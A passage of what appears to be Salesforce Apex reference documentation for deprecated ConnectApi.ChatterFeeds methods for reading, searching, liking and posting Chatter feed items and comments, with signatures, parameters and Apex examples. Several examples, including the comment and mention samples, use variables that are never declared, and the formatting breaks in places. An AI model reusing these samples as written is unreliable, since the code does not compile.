31.0 only

**Requires Chatter**

Yes

**Signature**

```java
public static ConnectApi.FeedItemPage getFeedItemsUpdatedSince(String communityId,
ConnectApi.FeedType feedType, Integer recentCommentCount, ConnectApi.FeedDensity density,
String pageParam, Integer pageSize, String updatedSince)
```

**Parameters**

- `communityId`
  - Type: `String`
  - Use the ID for an Experience Cloud site, internal, or `null`.

- `feedType`
  - Type: `ConnectApi.FeedType`
  - The type of feed. Valid values are `Company`, `DirectMessageModeration`, `DirectMessages`, `Home`, `Moderation`, and `PendingReview`.

- `recentCommentCount`
  - Type: `Integer`
  - The maximum number of comments to return with each feed item. The default value is 3.
density
Type: `ConnectApi.FeedDensity`

Specify the amount of content in a feed.

- AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
- FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

pageParam
Type: `String`

The page token to use to view the page. Page tokens are returned as part of the response class, for example, `currentPageToken` or `nextPageToken`. If you pass in `null`, the first page is returned.

pageSize
Type: `Integer`

Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

updatedSince
Type: `String`

An opaque token containing information about the last modified date of the feed. Do not construct this token. Retrieve this token from the `updatesToken` property of the `ConnectApi.FeedItemPage` response body.

Return Value

Type: `ConnectApi.FeedItemPage`

Usage

This method returns only feed items that have been updated since the time specified in the `updatedSince` argument. A feed item is considered to be updated if it was created since the last feed request, or if `sort=LastModifiedDateDesc` and a comment was added to the feed item since the last feed request. Adding likes and topics doesn’t update a feed item.

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

Example

This example gets the feed items in the company feed and grabs the `updatesToken` property from the returned object. It then passes the value of `updatesToken` to the `getFeedItemsUpdatedSince` method to get the feed items updated since the first call:

```java
// Get the feed items in the company feed and return the updatesToken
String communityId = null;

// Get the feed and extract the update token
ConnectApi.FeedItemPage page = ConnectApi.ChatterFeeds.getFeedItemsFromFeed(communityId, ConnectApi.FeedType.Company);

// page.updatesToken is opaque and has a value like '2:1384549034000'

// Get the feed items that changed since the provided updatesToken
```
ConnectApi.FeedItemPage feedItems= ConnectApi.ChatterFeeds.getFeedItemsUpdatedSince
(communityId, ConnectApi.FeedType.Company, 1, ConnectApi.FeedDensity.AllUpdates, null, 1, page.updatesToken);

SEE ALSO:
setTestGetFeedItemsUpdatedSince(communityId, feedType, recentCommentCount, density, pageParam, pageSize, updatedSince,
ConnectApi.FeedItemPage, results)
Testing ConnectApi Code

getFeedItemsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, updatedSince)
Get a page of feed items from the Files, Groups, News, People, and Record feeds. Include only feed items that have been updated since the time specified in the updatedSince parameter. Each feed item contains no more than the specified number of comments.

API Version
30.0–31.0

⚠️ Important: In version 32.0 and later, use getFeedElementsUpdatedSince(communityId, feedType, subjectId, recentCommentCount,

Available to Guest Users
31.0 only

Requires Chatter
Yes

Signature
public static ConnectApi.FeedItemPage getFeedItemsUpdatedSince(String communityId,
ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount,
ConnectApi.FeedDensity density, String pageParam, Integer pageSize, String updatedSince)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

feedType
Type: ConnectApi.FeedType
One of these values:
• Files
• Groups
• News
People

Record

subjectId
Type: String

If feedType is ConnectApi.Record, subjectId can be any record ID, including a group ID. Otherwise, it must be the context user or the alias me.

recentCommentCount
Type: Integer

The maximum number of comments to return with each feed item. The default value is 3.

density
Type: ConnectApi.FeedDensity

Specify the amount of content in a feed.

- AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
- FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

pageParam
Type: String

The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

pageSize
Type: Integer

Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

updatedSince
Type: String

An opaque token containing information about the last modified date of the feed. Do not construct this token. Retrieve this token from the updatesToken property of the ConnectApi.FeedItemPage response body.

Return Value

Type: ConnectApi.FeedItemPage

Usage

This method returns only feed items that have been updated since the time specified in the updatedSince argument. A feed item is considered to be updated if it was created since the last feed request, or if sort=LastModifiedDateDesc and a comment was added to the feed item since the last feed request. Adding likes and topics doesn’t update a feed item.

To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.
Example

This example gets the feed items in the news feed and grabs the `updatesToken` property from the returned object. It then passes the value of `updatesToken` to the `getFeedItemsUpdatedSince` method to get the feed items updated since the first call:

```java
// Get the feed items in the news feed and return the updatesToken
String communityId = null;
String subjectId = 'me';

// Get the feed and extract the update token
ConnectApi.FeedItemPage page = ConnectApi.ChatterFeeds.getFeedItemsFromFeed(communityId, ConnectApi.FeedType.News, subjectId);

// page.updatesToken is opaque and has a value like '2:1384549034000'

// Get the feed items that changed since the provided updatesToken
ConnectApi.FeedItemPage feedItems= ConnectApi.ChatterFeeds.getFeedItemsUpdatedSince
    (communityId, ConnectApi.FeedType.News, subjectId, 1, ConnectApi.FeedDensity.AllUpdates, 
    null, 1, page.updatesToken);
```

SEE ALSO:

- `setTestGetFeedItemsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, 
  updatedSince, result)`
- **Testing ConnectApi Code**

`getFeedItemsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, 
density, pageParam, pageSize, updatedSince, showInternalOnly)`

Get a page of feed items from a record feed. Include only feed items that have been updated since the time specified in the `updatedSince` parameter. Specify whether to return feed items posted by internal (non-Experience Cloud site) users only.

API Version

30.0–31.0

**Important:** In version 32.0 and later, use `getFeedElementsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, 
density, pageParam, pageSize, updatedSince, showInternalOnly)`.

Available to Guest Users

31.0 only

Requires Chatter

Yes

Signature

```
public static ConnectApi.FeedItemPage getFeedItemsUpdatedSince(String communityId, 
    ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount, 
    ConnectApi.FeedDensity density, String pageParam, Integer pageSize, String updatedSince, 
    Boolean showInternalOnly)
```
Parameters

**communityId**
Type: `String`
Use the ID for an Experience Cloud site, `internal`, or `null`.

**feedType**
Type: `ConnectApi.FeedType`
Value must be `ConnectApi.FeedType.Record`.

**subjectId**
Type: `String`
Any record ID, including a group ID.

**recentCommentCount**
Type: `Integer`
The maximum number of comments to return with each feed item. The default value is 3.

**density**
Type: `ConnectApi.FeedDensity`
Specify the amount of content in a feed.
- **AllUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
- **FewerUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

**pageParam**
Type: `String`
The page token to use to view the page. Page tokens are returned as part of the response class, for example, `currentPageToken` or `nextPageToken`. If you pass in `null`, the first page is returned.

**pageSize**
Type: `Integer`
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

**updatedSince**
Type: `String`
An opaque token containing information about the last modified date of the feed. Do not construct this token. Retrieve this token from the `updatesToken` property of the `ConnectApi.FeedItemPage` response body.

**showInternalOnly**
Type: `Boolean`
Specifies whether to show only feed items from internal (non-Experience Cloud site) users (`true`), or not (`false`). The default value is `false`.

Return Value
Type: `ConnectApi.FeedItemPage`
Usage

This method returns only feed items that have been updated since the time specified in the `updatedSince` argument. A feed item is considered to be updated if it was created since the last feed request, or if `sort=LastModifiedDateDesc` and a comment was added to the feed item since the last feed request. Adding likes and topics doesn’t update a feed item.

If `showInternalOnly` is `true` and digital experiences is enabled, feed items from Experience Cloud sites are included. Otherwise, only feed items from the internal site are included.

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

Example

This example gets the feed items in the news feed and grabs the `updatesToken` property from the returned object. It then passes the value of `updatesToken` to the `getFeedItemsUpdatedSince` method to get the feed items updated since the first call:

```java
// Get the feed items in the news feed and return the updatesToken
String communityId = null;
String subjectId = 'me';

// Get the feed and extract the update token
ConnectApi.FeedItemPage page = ConnectApi.ChatterFeeds.getFeedItemsFromFeed(communityId,
    ConnectApi.FeedType.News, subjectId);

// page.updatesToken is opaque and has a value like '2:1384549034000'

// Get the feed items that changed since the provided updatesToken
ConnectApi.FeedItemPage feedItems= ConnectApi.ChatterFeeds.getFeedItemsUpdatedSince
    (communityId, ConnectApi.FeedType.News, subjectId, 1, ConnectApi.FeedDensity.AllUpdates,
     null, 1, page.updatesToken, true);
```

SEE ALSO:

- `setTestGetFeedItemsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize,
  updatedSince, showInternalOnly, result)`
- Testing ConnectApi Code

`getFeedPoll(communityId, feedItemId)`

Get the poll associated with a feed item.

API Version

28.0–31.0

⚠️ **Important:** In version 32.0 and later, use `getElementPoll(communityId, feedElementId)`.

Requires Chatter

Yes
Signature

```java
public static ConnectApi.FeedPoll getFeedPoll(String communityId, String feedItemId)
```

Parameters

- **communityId**
  - Type: `String`
  - Use the ID for an Experience Cloud site, `internal`, or `null`.

- **feedItemId**
  - Type: `String`
  - The ID for a feed item.

Return Value

- Type: `ConnectApi.FeedPoll`

> Note: Triggers on FeedItem objects run before their attachment and capabilities information is saved, which means that `ConnectApi.FeedItem.attachment` information and `ConnectApi.FeedElement.capabilities` information may not be available in the trigger.

**getLikesForFeedItem(communityId, feedItemId)**

Get likes for a feed item.

APiverion

28.0–31.0

> Important: In version 32.0 and later, use `getLikesForFeedElement(communityId, feedElementId)`.

Available to Guest Users

31.0 only

Requires Chatter

Yes

Signature

```java
public static ConnectApi.ChatterLikePage getLikesForFeedItem(String communityId, String feedItemId)
```

Parameters

- **communityId**
  - Type: `String`
  - Use the ID for an Experience Cloud site, `internal`, or `null`. 
**feedItemId**

Type: `String`

The ID for a feed item.

**Return Value**

Type: `ConnectApi.ChatterLikePage`

**getLikesForFeedItem(communityId, feedItemId, pageParam, pageSize)**

Get a page of likes for a feed item.

**API Version**

28.0–31.0

**Important:** In version 32.0 and later, use `getLikesForFeedElement(communityId, feedElementId, pageParam, pageSize)`.

**Available to Guest Users**

31.0 only

**Requires Chatter**

Yes

**Signature**

```java
public static ConnectApi.ChatterLikePage getLikesForFeedItem(String communityId, String feedItemId, Integer pageParam, Integer pageSize)
```

**Parameters**

**communityId**

Type: `String`

Use the ID for an Experience Cloud site, `internal`, or `null`.

**feedItemId**

Type: `String`

The ID for a feed item.

**pageParam**

Type: `Integer`

Specifies the number of the page you want returned. Starts at 0. If you pass in `null` or 0, the first page is returned.

**pageSize**

Type: `Integer`

Specifies the number of items per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.
Return Value
Type: `ConnectApi.ChatterLikePage`

`likeFeedItem(communityId, feedItemId)`
Like a feed item for the context user.

API Version
28.0–31.0

⚠️ **Important:** In version 32.0 and later, use `likeFeedElement(communityId, feedElementId)`.

Requires Chatter
Yes

Signature
```java
public static ConnectApi.ChatterLike likeFeedItem(String communityId, String feedItemId)
```

Parameters
- `communityId`
  Type: `String`
  Use the ID for an Experience Cloud site, `internal`, or `null`.
- `feedItemId`
  Type: `String`
  The ID for a feed item.

Return Value
Type: `ConnectApi.ChatterLike`
If the context user already liked the feed item, this method is a non-operation and returns the existing like.

`postComment(communityId, feedItemId, text)`
Post a plain-text comment to a feed item.

API Version
28.0–31.0

⚠️ **Important:** In version 32.0 and later, use `postCommentToFeedElement(communityId, feedElementId, text)`.

Requires Chatter
Yes
Signature

```java
public static ConnectApi.Comment postComment(String communityId, String feedItemId, String text)
```

Parameters

- **communityId**
  - Type: String
  - Use the ID for an Experience Cloud site, internal, or null.

- **feedItemId**
  - Type: String
  - The ID for a feed item.

- **text**
  - Type: String
  - The text of the comment. Mentions are downgraded to plain text. To include a mention that links to a user, call `postComment(communityId, feedItemId, comment, feedItemFileUpload)` and pass the mention in a `ConnectApi.CommentInput` object.

Return Value

- Type: `ConnectApi.Comment`

Usage

If hashtags or links are detected in `text`, they are included in the comment as hashtag and link segments. Mentions are not detected in `text` and are not separated out of the text.

Feed items and comments can contain up to 10,000 characters.

```java
postComment(communityId, feedItemId, comment, feedItemFileUpload)
```

Post a rich-text comment to a feed item. Use this method to include mentions and to attach a file to a comment.

API Version

28.0–31.0

**Important:** In version 32.0 and later, use `postCommentToFeedElement(communityId, feedElementId, comment, feedElementFileUpload)`.

Requires Chatter

- Yes

Signature

```java
public static ConnectApi.Comment postComment(String communityId, String feedItemId, ConnectApi.CommentInput comment, ConnectApi.BinaryInput feedItemFileUpload)
```
Parameters

**communityId**
Type: String
Use the ID for an Experience Cloud site, internal, or **null**.

**feedItemId**
Type: String
The ID for a feed item.

**comment**
Type: `ConnectApi.CommentInput`
In the `CommentInput` object, specify rich text, including @mentions. Optionally, in the `CommentInput.attachment` property, specify an existing file or a new file.

**feedItemFileUpload**
Type: `ConnectApi.BinaryInput`
If you specify a `NewFileAttachmentInput` object in the `CommentInput.attachment` property, specify the new binary file to attach in this argument. Otherwise, do not specify a value.

Return Value
Type: `ConnectApi.Comment`

Usage
Feed items and comments can contain up to 10,000 characters.

Sample: Posting a Comment with a New File Attachment
To post a comment and upload and attach a new file to the comment, create a `ConnectApi.CommentInput` object and a `ConnectApi.BinaryInput` object to pass to the `ConnectApi.ChatterFeeds.postComment` method.

```java
String communityId = null;
String feedItemId = '0D5D0000000Kcd1';

ConnectApi.CommentInput input = new ConnectApi.CommentInput();
ConnectApi.TextSegmentInput textSegment;
textSegment = new ConnectApi.TextSegmentInput();
textSegment.text = 'Comment Text Body';
messageInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
messageInput.messageSegments.add(textSegment);
input.body = messageInput;

ConnectApi.NewFileAttachmentInput attachmentInput = new ConnectApi.NewFileAttachmentInput();
attachmentInput.description = 'The description of the file';
attachmentInput.title = 'contentFile.txt';
input.attachment = attachmentInput;
```
String fileContents = 'This is the content of the file.';
Blob fileBlob = Blob.valueOf(fileContents);

ConnectApi.Comment commentRep = ConnectApi.ChatterFeeds.postComment(communityId, feedItemId, input, binaryInput);

postFeedElement(communityId, feedElement, feedElementFileUpload)

Post a rich-text feed element. Include mentions and hashtag topics, attach a file to a feed element, and associate action link groups with a feed element. You can also use this method to share a feed element and add a comment.

API Version
31.0–35.0

Important: In version 36.0 and later, this method is no longer available because you can’t create a feed post and upload a binary file in the same call. Upload files to Salesforce first, and then use postFeedElement(communityId, feedElement) to create the feed post and attach the files.

Requires Chatter
Yes

Signature
public static ConnectApi.FeedElement postFeedElement(String communityId, ConnectApi.FeedElementInput feedElement, ConnectApi.BinaryInput feedElementFileUpload)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

feedElement
Type: ConnectApi.FeedElementInput
Specify rich text, including mentions. Optionally, specify a link, a poll, an existing file, or a new file.

feedElementFileUpload
Type: ConnectApi.BinaryInput
Specify the new binary file to attach to the post only if you also specify a NewFileAttachmentInput object in the feedElement parameter. Otherwise, pass null.

Return Value
Type: ConnectApi.FeedElement
Example for Posting a Feed Element with a New (Binary) File

```java
ConnectApi.FeedItemInput input = new ConnectApi.FeedItemInput();
input.subjectId = 'me';

ConnectApi.ContentCapabilityInput contentInput = new ConnectApi.ContentCapabilityInput();
contentInput.title = 'Title';

ConnectApi.FeedElementCapabilitiesInput capabilities = new
ConnectApi.FeedElementCapabilitiesInput();
capabilities.content = contentInput;

input.capabilities = capabilities;

String text = 'These are the contents of the new file.';
Blob myBlob = Blob.valueOf(text);
ConnectApi.BinaryInput binInput = new ConnectApi.BinaryInput(myBlob, 'text/plain', 'fileName');

ConnectApi.ChatterFeeds.postFeedElement(Network.getNetworkId(), input, binInput);
```

**postFeedItem(communityId, feedType, subjectId, text)**

Post a plain-text feed item.

API Version
28.0–31.0

⚠️ **Important:** In version 32.0 and later, use `postFeedElement(communityId, subjectId, feedElementType, text)`.

Requires Chatter
Yes

Signature

```java
public static ConnectApi.FeedItem postFeedItem(String communityId, ConnectApi.FeedType feedType, String subjectId, String text)
```

Parameters

**communityId**
Type: `String`  
Use the ID for an Experience Cloud site, internal, or `null`.

**feedType**
Type: `ConnectApi.FeedType`  
One of the following:

- News
- Record
• UserProfile

Use Record to post to a group.

subjectId

Type: String

The value depends on the feedType:

• News—ID of the context user or the keyword me.
• Record—ID of any record with a feed, including groups.
• UserProfile—ID of any user.

text

Type: String

Text of the feed item. Mentions are downgraded to plain text. To include a mention that links to the user, call the
postFeedItem(communityId, feedType, subjectId, feedItemInput, feedItemFileUpload)
method and pass the mention in a ConnectApi.FeedItemInput object.

Return Value

Type: ConnectApi.FeedItem

Note: Triggers on FeedItem objects run before their attachment and capabilities information is saved, which means that
ConnectApi.FeedItem.attachment information and ConnectApi.FeedElement.capabilities information may not be available in the trigger.

Usage

Feed items and comments can contain up to 10,000 characters.

Posts to ConnectApi.FeedType.UserProfile in API versions 23.0 and 24.0 created user status updates, not feed items. For
posts to the User Profile Feed in those API versions, the character limit is 1,000 characters.

postFeedItem(communityId, feedType, subjectId, feedItemInput, feedItemFileUpload)

Post a rich-text feed item to a feed. Use this method to include mentions and hashtag topics and to attach a file to a feed item. You can
also use this method to share a feed item and add a comment.

API Version

28.0–31.0

Important: In version 32.0 and later, use postFeedElement(communityId, feedElement, feedElementFileUpload).

Requires Chatter

Yes

Signature

public static ConnectApi.FeedItem postFeedItem(String communityId, ConnectApi.FeedType
feedType, String subjectId, ConnectApi.FeedItemInput feedItemInput,
ConnectApi.BinaryInput feedItemFileUpload)
Parameters

**communityId**
Type: String
Use the ID for an Experience Cloud site, internal, or null.

**feedType**
Type: `ConnectApi.FeedType`
One of the following:
- News
- Record
- UserProfile

To post a feed item to a group, use Record and use a group ID as the `subjectId`.

**subjectId**
Type: String
If `feedType` is Record, `subjectId` can be any record ID, including a group ID. If `feedType` is Streams, `subjectId` must be a stream ID. If `feedType` is Topics, `subjectId` must be a topic ID. If `feedType` is UserProfile, `subjectId` can be any user ID. If the `feedType` is any other value, `subjectId` must be the ID of the context user or the alias me.

**feedItemInput**
Type: `ConnectApi.FeedItemInput`
In the `FeedItemInput` object, specify rich text. Optionally, in the `FeedItemInput.attachment` property, specify a link, a poll, an existing file, or a new file.

**feedItemFileUpload**
Type: `ConnectApi.BinaryInput`
If you specify a `NewFileAttachmentInput` object in the `FeedItemInput.attachment` property, specify the new binary file to attach in this argument. Otherwise, do not specify a value.

Return Value
Type: `ConnectApi.FeedItem`

**Note:** Triggers on FeedItem objects run before their attachment and capabilities information is saved, which means that `ConnectApi.FeedItem.attachment` information and `ConnectApi.FeedElement.capabilities` information may not be available in the trigger.

Usage
Feed items and comments can contain up to 10,000 characters. Posts to `ConnectApi.FeedType.UserProfile` in API versions 23.0 and 24.0 created user status updates, not feed items. For posts to the User Profile Feed in those API versions, the character limit is 1,000 characters.
Example for Sharing a Feed Item and Adding a Comment

To share a feed item and add a comment, create a `ConnectApi.FeedItemInput` object containing the comment and the feed item to share. Then pass the object to `ConnectApi.ChatterFeeds.postFeedItem` in the `feedItemInput` argument. The message segments in the message body input are used as the comment.

```java
ConnectApi.FeedItemInput input = new ConnectApi.FeedItemInput();
input.originalFeedItemId = '0D5D0000000JuAG';

List<ConnectApi.MessageSegmentInput> segmentList = new List<ConnectApi.MessageSegmentInput>();
ConnectApi.TextSegmentInput textSegment = new ConnectApi.TextSegmentInput();
textSegment.text = 'I hope you enjoy this post I found in another group.';
segmentList.add(textSegment);
body.messageSegments = segmentList;
input.body = body;

ConnectApi.ChatterFeeds.postFeedItem(null, ConnectApi.FeedType.UserProfile, 'me', input, null);
```

Example for Posting a Mention to a User Profile Feed

To post to a user profile feed and include an @mention, call the `ConnectApi.ChatterFeeds.postFeedItem` method.

```java
String communityId = null;
ConnectApi.FeedType feedType = ConnectApi.FeedType.UserProfile;

ConnectApi.FeedItemInput input = new ConnectApi.FeedItemInput();
ConnectApi.TextSegmentInput textSegment;
ConnectApi.MentionSegmentInput mentionSegment = new ConnectApi.MentionSegmentInput();
messageInput.messageSegments = new List<ConnectApi.MessageSegmentInput>();
textSegment = new ConnectApi.TextSegmentInput();
textSegment.text = 'Hey there ';
messageInput.messageSegments.add(textSegment);
mentionSegment.id = '005D0000001LLO1';
messageInput.messageSegments.add(mentionSegment);
textSegment = new ConnectApi.TextSegmentInput();
textSegment.text = '. How are you?';
messageInput.messageSegments.add(textSegment);

input.body = messageInput;

ConnectApi.FeedItem feedItemRep = ConnectApi.ChatterFeeds.postFeedItem(communityId, feedType, 'me', input, null);
```

`searchFeedItems(communityId, q)`

Get the feed items that match the search criteria.
API Version
28.0–31.0

**Important:** In version 32.0 and later, use `searchFeedElements(communityId, q)`.

Available to Guest Users
31.0 only

Requires Chatter
Yes

Signature

```java
public static ConnectApi.FeedItemPage searchFeedItems(String communityId, String q)
```

Parameters

- **communityId**
  - Type: String
  - Use the ID for an Experience Cloud site, internal, or `null`.

- **q**
  - Type: String
  - Required and cannot be `null`. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

Return Value

Type: `ConnectApi.FeedItemPage`

Usage

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

- `setTestSearchFeedItems(communityId, q, result)`
- `Testing ConnectApi Code`

```java
searchFeedItems(communityId, q, sortParam)
```

Get the sorted feed items that match the search criteria.

API Version
28.0–31.0
Important: In version 32.0 and later, use `searchFeedElements(communityId, q, sortParam)`.

Available to Guest Users
31.0 only

Requires Chatter
Yes

Signature

```
public static ConnectApi.FeedItemPage searchFeedItems(String communityId, String q,
ConnectApi.FeedSortOrder sortParam)
```

Parameters

`communityId`
Type: `String`
Use the ID for an Experience Cloud site, `internal`, or `null`.

`q`
Type: `String`
Required and cannot be `null`. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

`sortParam`
Type: `ConnectApi.FeedSortOrder`
Values are:

- `CreatedDateAsc`—Sorts by oldest creation date. This sort order is available only for `DirectMessageModeration`, `Draft`, `Moderation`, and `PendingReview` feeds.
- `CreatedDateDesc`—Sorts by most recent creation date.
- `LastModifiedDateDesc`—Sorts by most recent activity.
- `MostViewed`—Sorts by most viewed content. This sort order is available only for `Home` feeds when the `ConnectApi.FeedFilter` is `UnansweredQuestions`.
- `Relevance`—Sorts by most relevant content. This sort order is available only for `Company`, `Home`, and `Topics` feeds.

Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in `null`, the default value `CreatedDateDesc` is used.

Return Value

Type: `ConnectApi.FeedItemPage`
Usage
To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:
- `setTestSearchFeedItems(communityId, q, sortParam, result)`
  Testing ConnectApi Code

**searchFeedItems**(communityId, q, pageParam, pageSize)
Get a page of feed items that match the search criteria.

API Version
28.0–31.0

⚠️ **Important:** In version 32.0 and later, use `searchFeedElements(communityId, q, pageParam, pageSize)`.

Available to Guest Users
31.0 only

Requires Chatter
Yes

Signature

```java
public static ConnectApi.FeedItemPage searchFeedItems(String communityId, String q,
String pageParam, Integer pageSize)
```

Parameters
- **communityId**
  - Type: `String`
  - Use the ID for an Experience Cloud site, internal, or `null`.

- **q**
  - Type: `String`
  - Required and cannot be `null`. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

- **pageParam**
  - Type: `String`
  - The page token to use to view the page. Page tokens are returned as part of the response class, for example, `currentPageToken` or `nextPageToken`. If you pass `null`, the first page is returned.

- **pageSize**
  - Type: `Integer`
  - Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass `null`, the default size is 25.
Return Value
Type: `ConnectApi.FeedItemPage`

Usage
To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:
- `setTestSearchFeedItems(communityId, q, pageParam, pageSize, result)`
  Testing ConnectApi Code

**searchFeedItems(communityId, q, pageParam, pageSize, sortParam)**
Get a page of sorted feed items that match the search criteria.

API Version
28.0–31.0

**Important:** In version 32.0 and later, use `searchFeedElements(communityId, q, pageParam, pageSize, sortParam)`.

Available to Guest Users
31.0 only

Requires Chatter
Yes

Signature
```java
public static ConnectApi.FeedItemPage searchFeedItems(String communityId, String q,
String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam)
```

Parameters
- `communityId`
  Type: `String`
  Use the ID for an Experience Cloud site, `internal`, or `null`.

- `q`
  Type: `String`
  Required and cannot be `null`. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

- `pageParam`
  Type: `String`
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

**pageSize**
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

**sortParam**
Type: ConnectApi.FeedSortOrder
Values are:
- CreatedDateAsc—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
- CreatedDateDesc—Sorts by most recent creation date.
- LastModifiedDateDesc—Sorts by most recent activity.
- MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
- Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.

Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null, the default value CreatedDateDesc is used.

**Return Value**
Type: ConnectApi.FeedItemPage

**Usage**
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

**SEE ALSO:**
setTestSearchFeedItems(communityId, q, pageParam, pageSize, sortParam, result)

**Testing ConnectApi Code**

**searchFeedItems(communityId, q, recentCommentCount, pageParam, pageSize, sortParam)**
Get a page of sorted feed items that match the search criteria.

**API Version**
29.0–31.0

**Important:** In version 32.0 and later, use searchFeedElements(communityId, q, recentCommentCount, pageParam, pageSize, sortParam).

**Available to Guest Users**
31.0 only
Requires Chatter
Yes

Signature

```java
public static ConnectApi.FeedItemPage searchFeedItems(String communityId, String q,
Integer recentCommentCount, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder
sortParam)
```

Parameters

- `communityId`
  Type: `String`
  Use the ID for an Experience Cloud site, `internal`, or `null`.

- `q`
  Type: `String`
  Required and cannot be `null`. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See `Wildcards`.

- `recentCommentCount`
  Type: `Integer`
  The maximum number of comments to return with each feed item. The default value is 3.

- `pageParam`
  Type: `String`
  The page token to use to view the page. Page tokens are returned as part of the response class, for example, `currentPageToken` or `nextPageToken`. If you pass in `null`, the first page is returned.

- `pageSize`
  Type: `Integer`
  Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

- `sortParam`
  Type: `ConnectApi.FeedSortOrder`
  Values are:
  - `CreatedDateAsc`—Sorts by oldest creation date. This sort order is available only for `DirectMessageModeration`, `Draft`, `Moderation`, and `PendingReview` feeds.
  - `CreatedDateDesc`—Sorts by most recent creation date.
  - `LastModifiedDateDesc`—Sorts by most recent activity.
  - `MostViewed`—Sorts by most viewed content. This sort order is available only for `Home` feeds when the `ConnectApi.FeedFilter` is `UnansweredQuestions`.
  - `Relevance`—Sorts by most relevant content. This sort order is available only for `Company`, `Home`, and `Topics` feeds.

Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in `null`, the default value `CreatedDateDesc` is used.

Return Value

Type: `ConnectApi.FeedItemPage`
Usage

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

- `setTestSearchFeedItems(communityId, q, recentCommentCount, pageParam, pageSize, sortParam, result)`
- Testing ConnectApi Code

`searchFeedItemsInFeed(communityId, feedType, q)`

Get the feed items from the Company, Home, and Moderation feeds that match the search criteria.

API Version

28.0–31.0

⚠️ **Important:** In version 32.0 and later, use `searchFeedElementsInFeed(communityId, feedType, q)`.

Available to Guest Users

31.0 only

Requires Chatter

Yes

Signature

```java
public static ConnectApi.FeedItemPage searchFeedItemsInFeed(String communityId,
ConnectApi.FeedType feedType, String q)
```

Parameters

- **communityId**
  - Type: `String`
  - Use the ID for an Experience Cloud site, internal, or `null`.

- **feedType**
  - Type: `ConnectApi.FeedType`
  - The type of feed. Valid values are `Company`, `DirectMessageModeration`, `DirectMessages`, `Home`, `Moderation`, and `PendingReview`.

- **q**
  - Type: `String`
  - Required and cannot be `null`. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.
Return Value
Type: `ConnectApi.FeedItemPage`

Usage
To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:
- `setTestSearchFeedItemsInFeed(communityId, feedType, q, result)`
- Testing `ConnectApi Code`

`searchFeedItemsInFeed(communityId, feedType, pageParam, pageSize, sortParam, q)`
Get a page of sorted feed items from the Company, Home, and Moderation feeds that match the search criteria.

API Version
28.0–31.0

⚠️ **Important:** In version 32.0 and later, use `searchFeedElementsInFeed(communityId, feedType, pageParam, pageSize, sortParam, q)`.

Available to Guest Users
31.0 only

Requires Chatter
Yes

Signature
```java
public static ConnectApi.FeedItemPage searchFeedItemsInFeed(String communityId, ConnectApi.FeedType feedType, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, String q)
```

Parameters
- `communityId`
  Type: `String`
  Use the ID for an Experience Cloud site, `internal`, or `null`.
- `feedType`
  Type: `ConnectApi.FeedType`
